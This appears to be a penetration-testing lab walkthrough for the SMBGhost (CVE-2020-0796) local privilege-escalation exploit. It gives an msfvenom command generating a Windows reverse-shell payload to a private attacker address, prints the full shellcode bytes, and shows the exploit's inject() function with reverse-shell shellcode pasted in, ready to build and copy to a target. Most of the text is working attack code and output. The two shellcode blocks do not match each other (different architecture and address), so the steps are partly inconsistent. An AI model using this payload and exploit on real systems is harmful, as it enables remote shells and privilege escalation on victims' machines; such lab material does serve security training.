👻SMB Ghost

Initial Enumeration

Exploit:

CVE-2020-0796/cve-2020-0796-local/exploit.cpp at master · danigargu/CVE-2020-0796GitHub

In order to make the exploit work for us we need to generate shellcode in hte form of a dll and make it in C# format because the exploit is written in C.

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.49.143 LPORT=8081 -f dll -f csharp                     
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 324 bytes
Final size of csharp file: 1673 bytes
byte[] buf = new byte[324] {
0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,
0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,
0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,
0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,
0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,
0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,
0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,
0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,
0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,
0x8d,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,
0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,
0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,
0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xc0,0xa8,0x31,0x8f,0x68,
0x02,0x00,0x1f,0x91,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,
0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,
0x56,0xff,0xd5,0x68,0x63,0x6d,0x64,0x00,0x89,0xe3,0x57,0x57,0x57,0x31,0xf6,
0x6a,0x12,0x59,0x56,0xe2,0xfd,0x66,0xc7,0x44,0x24,0x3c,0x01,0x01,0x8d,0x44,
0x24,0x10,0xc6,0x00,0x44,0x54,0x50,0x56,0x56,0x56,0x46,0x56,0x4e,0x56,0x56,
0x53,0x56,0x68,0x79,0xcc,0x3f,0x86,0xff,0xd5,0x89,0xe0,0x4e,0x56,0x46,0xff,
0x30,0x68,0x08,0x87,0x1d,0x60,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x68,0xa6,
0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,
0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5 };

Once we clone and open the Github repo in Visual Studio COde 2022, in the exploit.cpp, we must replace shellcode variable with our generated shellcode from msfvenom.

void inject(void) {
	PROCESSENTRY32 entry;
	entry.dwSize = sizeof(PROCESSENTRY32);

	uint8_t shellcode[] = {
		 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,
0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,
0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,
0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,
0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,
0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,
0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,
0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,
0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x49,0xbe,0x77,0x73,0x32,0x5f,0x33,
0x32,0x00,0x00,0x41,0x56,0x49,0x89,0xe6,0x48,0x81,0xec,0xa0,0x01,0x00,0x00,
0x49,0x89,0xe5,0x49,0xbc,0x02,0x00,0x1f,0x91,0xc0,0xa8,0x31,0x3f,0x41,0x54,
0x49,0x89,0xe4,0x4c,0x89,0xf1,0x41,0xba,0x4c,0x77,0x26,0x07,0xff,0xd5,0x4c,
0x89,0xea,0x68,0x01,0x01,0x00,0x00,0x59,0x41,0xba,0x29,0x80,0x6b,0x00,0xff,
0xd5,0x50,0x50,0x4d,0x31,0xc9,0x4d,0x31,0xc0,0x48,0xff,0xc0,0x48,0x89,0xc2,
0x48,0xff,0xc0,0x48,0x89,0xc1,0x41,0xba,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x48,
0x89,0xc7,0x6a,0x10,0x41,0x58,0x4c,0x89,0xe2,0x48,0x89,0xf9,0x41,0xba,0x99,
0xa5,0x74,0x61,0xff,0xd5,0x48,0x81,0xc4,0x40,0x02,0x00,0x00,0x49,0xb8,0x63,
0x6d,0x64,0x00,0x00,0x00,0x00,0x00,0x41,0x50,0x41,0x50,0x48,0x89,0xe2,0x57,
0x57,0x57,0x4d,0x31,0xc0,0x6a,0x0d,0x59,0x41,0x50,0xe2,0xfc,0x66,0xc7,0x44,
0x24,0x54,0x01,0x01,0x48,0x8d,0x44,0x24,0x18,0xc6,0x00,0x68,0x48,0x89,0xe6,
0x56,0x50,0x41,0x50,0x41,0x50,0x41,0x50,0x49,0xff,0xc0,0x41,0x50,0x49,0xff,
0xc8,0x4d,0x89,0xc1,0x4c,0x89,0xc1,0x41,0xba,0x79,0xcc,0x3f,0x86,0xff,0xd5,
0x48,0x31,0xd2,0x48,0xff,0xca,0x8b,0x0e,0x41,0xba,0x08,0x87,0x1d,0x60,0xff,
0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,
0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,
0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5
	};

Once that is done we build the solution in Visual Studio Code 2022 and then we transfer the exploit.exe to the target machine.